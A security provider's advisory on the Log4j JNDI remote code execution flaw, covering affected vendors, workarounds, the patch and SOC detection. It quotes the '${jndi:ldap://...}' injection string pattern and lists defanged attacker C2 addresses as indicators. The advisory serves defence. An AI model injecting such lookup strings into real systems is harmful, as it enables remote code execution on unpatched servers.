On Friday 10 December, Pinewood issued an alert about a critical vulnerability that exists in Log4j, a Java-based logging framework which is used by many different applications and websites. Because of the widespread use of this solution, combined with the ease of exploitation of the vulnerability, attackers have started to exploit this vulnerability on a large scale. Exploitation attempts have been seen by the Pinewood SOC. This bulletin sums up the information that’s currently available on the vulnerability.
Description
A vulnerability in Log4j 2 allows attackers to remotely inject and exploit malicious content into the logs of a vulnerable system. Log4j supports the usage of variables in logs that will be automatically parsed once they are found. If an attacker succeeds in inserting a specific variable into the log, he can then initiate a so-called Java Naming and Directory Interface (JNDI) lookup. This JNDI lookup can then be used to load and execute a Java class from a remote (attacker controlled) server. An attack can be recognized by a JNDI variable that is sent by the attacker and which may look like:
${jndi:ldap://<ip address>/…}
${jndi:dns://<ip address>/…}
The vulnerability can therefore be mitigated by disabling these lookups or by upgrading Log4j to the latest version.
Proof of Concept (PoC) code has already been released that illustrates how this vulnerability can be exploited. Because exploitation is quite simple, exploitation of the vulnerability is already happening on a large scale.
Affected Products
The vulnerability impacts Log4j 2 up to version 2.14.1. Log4j is integrated into several other products (such as Apache Struts and Apache Solr) which makes these applications vulnerable as well.
As this situation is quickly evolving Pinewood advises to regularly check the articles from the different vendors that are used in your environment for the status and available patches.
There are several resources that are collecting information about all vendors:
Below is an overview of bulletins issued on this vulnerability by Pinewood vendors. For some this information is still changing, so regularly check the links until the situation is clear.
- Befine (Cryptshare): No official confirmation, but internal research shows Cryptshare is not affected.
- Check Point: Check Point has confirmed no products are vulnerable.
- F5: F5 has confirmed that this vulnerability cannot be exploited in any of its products. Although F5 BIG-IP and F5 BIG-IQ Centralized Management contain the affected code, an attacker could not exploit the code in default, standard, or recommended configurations.
- Fortinet: a limited number of Fortinet products are affected by this vulnerability. Fortinet currently lists the following products as vulnerable (no fixes available yet): FortiSIEM, FortiCASB, FortiPortal, FortiNAC, FortiConvertor, FortiAIOps, FortiPolicy, ShieldX, FortiSOAR, FortiEDR Cloud, others are not.
- HPE Aruba: information expected soon.
- Thales (Safenet): is researching the issue, more information expected on the support portal soon.
- McAfee: the products are currently under review or not affected, no products are known vulnerable at the moment.
Workaround
Apache has documented several workarounds in case a patch cannot be installed. These include:
- Log4j >= 2.10: disable JNDI lookups by setting the system property log4j2.formatMsgNoLookups or environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. Do this by setting the -Dlog4j2.formatMsgNoLookups command line option or by adding this option to the log4j2.component.properties file on the classpath.
- Log4j < 2.10: remove the JndiLookup and JndiManager classes from the classpath.
Solution
Apache has released Log4j 2.15.0 to address this vulnerability. Unfortunately, Apache only provides source code patches (no binary patches) and therefore you need to apply the patches provided by your application vendor. See the Affected Productssection for an overview of well-known vulnerable products.
Detection / SOC observations
Indicators of Compromise
The Pinewood SOC does see active exploitation attempts from many of the well-known malicious IP addresses. Detection of these attempts is of limited value as these are often untargeted (regular “internet noise”) and do not indicate whether such an attempt is successful.
Upon successful exploitation of the vulnerability, a vulnerable machine will initiate a callback towards an attacker-controlled server. Detecting these callbacks is therefore much more useful as these indicate a successful exploitation attempt. Much of the well-known callback domains and IP addresses are publicly available (see e.g., this Callback Domains Log4j Github repository). In addition to these well-known and reported domains and IP addresses, Pinewood also observed the following C2 servers in exploitation attempts within customer networks (this includes servers used by security researchers to scan the internet for vulnerable installations):
- 45.130.229[.]168
- 45.155.205[.]233
- [attacker-domain][.][32 random characters][.]interactsh.com (104.248.51.21)
- [attacked-domain][.] .ua.log4j-test.xyz (108.61.148.110)
- divd-[32 random characters]_http_Referer[.]log4jdns.x00.it (5.2.67.229)
- http443path[.]kryptoslogic-cve-2021-44228.com (167.99.86.185)
- http80useragent[.]kryptoslogic-cve-2021-44228.com (167.99.86.185)
The Pinewood SOC is actively monitoring outbound connections to these (and other publicly reported C2) IP addresses to determine successful exploitation attempts of this vulnerability within customer networks. Customers are alerted if successful connections to C2 servers were observed.
Exploitation signatures
In addition, several security providers have released signatures to detect malicious connections to Log4j systems:
- Check Point: has released a signature for its IPS module.
- Fortinet: has released signatures for its IPS module in FortiGate, FortiADC, and FortiProxy (version 19.215) to detect and block exploitation of the vulnerability. The signatures are detect by default, blocking must be enabled. Updates were released for FortiAnalyzer and FortiSIEM to include indicators for the Log4j vulnerability.
- Palo Alto: has released the threat ID 91991 signature to automatically block malicious sessions through its NG firewalls with a threat security subscription. Cortex XDR customers can take advantage of the Java Deserialization Exploit protection module and Cortex XSOAR customers can leverage the CVE-2021-44228 -Log4j RCE pack to automatically detect and mitigate the vulnerability.
- Suricata: has released the ET Exploit log4j RCE Attempt (udp ldap) (CVE-2021-44228) signature to detect exploitation attempts. This signature is included in all the network sensors deployed by the Pinewood SOC within customer networks.
References
For more information view the full Apache bulletin: https://logging.apache.org/log4j/2.x/security.html.
Questions
If you have any questions regarding this issue please contact Pinewood Support by phone 015 251 36 33 or via e-mail support@pinewood.nl.
